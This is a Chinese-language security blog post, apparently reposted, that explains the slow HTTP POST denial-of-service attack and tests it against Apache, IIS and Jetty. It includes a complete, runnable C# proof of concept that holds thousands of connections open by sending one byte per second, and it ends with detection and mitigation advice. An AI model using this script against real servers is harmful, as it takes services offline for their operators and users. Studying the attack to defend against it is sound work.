HTTP POST慢速DOS攻击初探
1. 關(guān)于HTTP POST慢速DOS攻擊
HTTP Post慢速DOS攻擊第一次在技術(shù)社區(qū)被正式披露是今年的OWASP大會(huì)上,由Wong Onn Chee 和 Tom Brennan共同演示了使用這一技術(shù)攻擊的威力。他們的slides在這里:
http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html
這個(gè)攻擊的基本原理如下:
針對(duì)任意HTTP Server,建立一個(gè)連接,指定一個(gè)比較大的content-length,然后以很低的速度發(fā)包,比如10-100s發(fā)一個(gè)字節(jié),hold住這個(gè)連接不斷開。如果客戶端持續(xù)建立這樣的連接,那么服務(wù)器上可用的連接將很快被占滿,從而導(dǎo)致DOS.
這一攻擊引起我注意的原因有這幾點(diǎn):
1. 它可以針對(duì)任意Web服務(wù)。HTTP協(xié)議在接收到request之前是無法對(duì)請(qǐng)求內(nèi)容作校驗(yàn)的,所以即使你的Web應(yīng)用沒有可用form表單,這個(gè)攻擊一樣有效。
2. 廉價(jià)。在客戶端以單線程方式建立較大數(shù)量的無用連接,并保持持續(xù)發(fā)包的代價(jià)非常低廉。實(shí)際試驗(yàn)中一臺(tái)普通PC可以建立的Socket連接在3000個(gè)以上。這對(duì)一臺(tái)普通的web server,將是致命的打擊。更不用說結(jié)合肉雞群做分布式DOS了。
2. 攻擊示范
為演示這個(gè)攻擊,我做了一個(gè)簡(jiǎn)單的POC,C#代碼如下。
using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;namespace HTTPPostDoS
{class TestDemo{static void Main(string[] args){string host = "target";int port = 8080;int max_number_of_connection = 3000;List<TcpClient> clients = new List<TcpClient>();for (int i = 0; i < max_number_of_connection; i++){TcpClient client = new TcpClient();clients.Add(client);client.Connect(host, port);if (client.Connected){string header = "POST /a HTTP/1.1\r\n" +"HOST: " + host + "\r\n" +"Connection: keep-alive\r\n" +"Keep-Alive: 900\r\n" +"Content-Length: 100000000\r\n" +"Content_Type: application/x-www-form-urlencoded\r\n" +"Accept: *.*\r\n";int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));if (sent <= 0){Console.WriteLine("Error while connecting to server");}else{Console.WriteLine("Connected");}}}while (true){int i = 0;foreach (TcpClient client in clients){i++;client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));Console.WriteLine("Client " + i + " just sent a byte.");}Thread.Sleep(1000);}}}
}
這段代碼向目標(biāo)服務(wù)器的示例Web Server發(fā)起攻擊,每秒鐘向服務(wù)器post一個(gè)字節(jié)以保證連接不會(huì)過期。
這個(gè)攻擊對(duì)Apache的效果十分明顯,Apache的maxClients幾乎在瞬間被hold住,瀏覽器在攻擊進(jìn)行期間無法訪問測(cè)試頁面。
但是針對(duì)IIS的攻擊被證明沒有效果,同時(shí)我還測(cè)試了公司使用最多的Jetty,有了更多有意思的發(fā)現(xiàn)。
3. Jetty Server 在NIO和BIO模式下對(duì)此攻擊的不同反應(yīng)
在針對(duì)Jetty做測(cè)試時(shí),我發(fā)現(xiàn)針對(duì)不同的Jetty Connector配置,攻擊的效果有天壤之別。
我們知道Jetty在配置Connector時(shí),可以有NIO和BIO兩種模式供選擇。當(dāng)使用BIO模式時(shí),Jetty的max thread被瞬間耗盡,服務(wù)停止。但是在使用NIO模式時(shí),即使客戶端的惡意socket連接數(shù)已經(jīng)達(dá)到3000個(gè),但是服務(wù)依然沒有受到任何影響。這個(gè)應(yīng)該很好理解,由于這兩種模式下的Connector直接影響到服務(wù)端處理Socket的模型。IIS的情況我不是很清楚,但是猜測(cè)MS在實(shí)現(xiàn)時(shí)采用了NIO Socket模型。
詳細(xì)的配置情況,請(qǐng)參見Jetty的官方文檔。
其它的Web Server,我沒有做進(jìn)一步測(cè)試。如有興趣請(qǐng)自行驗(yàn)證。
4. 檢測(cè)與防范
目前針對(duì)Apache服務(wù)器,官方尚沒有解決方案出臺(tái)。建議:
1. 檢查日志,查找類似的錯(cuò)誤報(bào)警:
[error] server reached MaxClients setting, consider raising the MaxClients setting
看看有沒有被這種攻擊盯上。
2. 調(diào)整防火墻設(shè)置。有條件的,在IPS上做一下規(guī)則設(shè)置。
注意這些都還只是暫時(shí)措施,因?yàn)檫@種攻擊的變化可能很多,事實(shí)上使用HTTP GET也可以達(dá)到一樣的效果。要知道GET也是可以傳輸數(shù)據(jù)的。
針對(duì)Jetty服務(wù)器,強(qiáng)烈建議使用NIO非阻塞模式,對(duì)服務(wù)器可以起到很好的保護(hù)作用。
相關(guān)閱讀:
1. New HTTP POST DDoS Attack Tools Released
2. Wong Onn Chee 和Tom Brennan的Paper
3. Using HTTP POST for denial of service
?
補(bǔ)充1:我的同事,Active安全經(jīng)理Eric Zhong和應(yīng)用安全工程師Vian Ma對(duì)此文有貢獻(xiàn),謹(jǐn)此致謝
補(bǔ)充2:鳳凰網(wǎng)的孫立先生指出,微軟的IIS實(shí)現(xiàn)了完成端口(IOCP),IO效率相當(dāng)高。這解釋了為何此攻擊對(duì)IIS無效。
原文地址:http://www.unclejoey.com/2010/12/28/http-post%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%8E%A2/
總結(jié)
以上是生活随笔為你收集整理的HTTP POST慢速DOS攻击初探的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: LAMP 关键数据集锦技术选项参考
- 下一篇: 哈希表之殇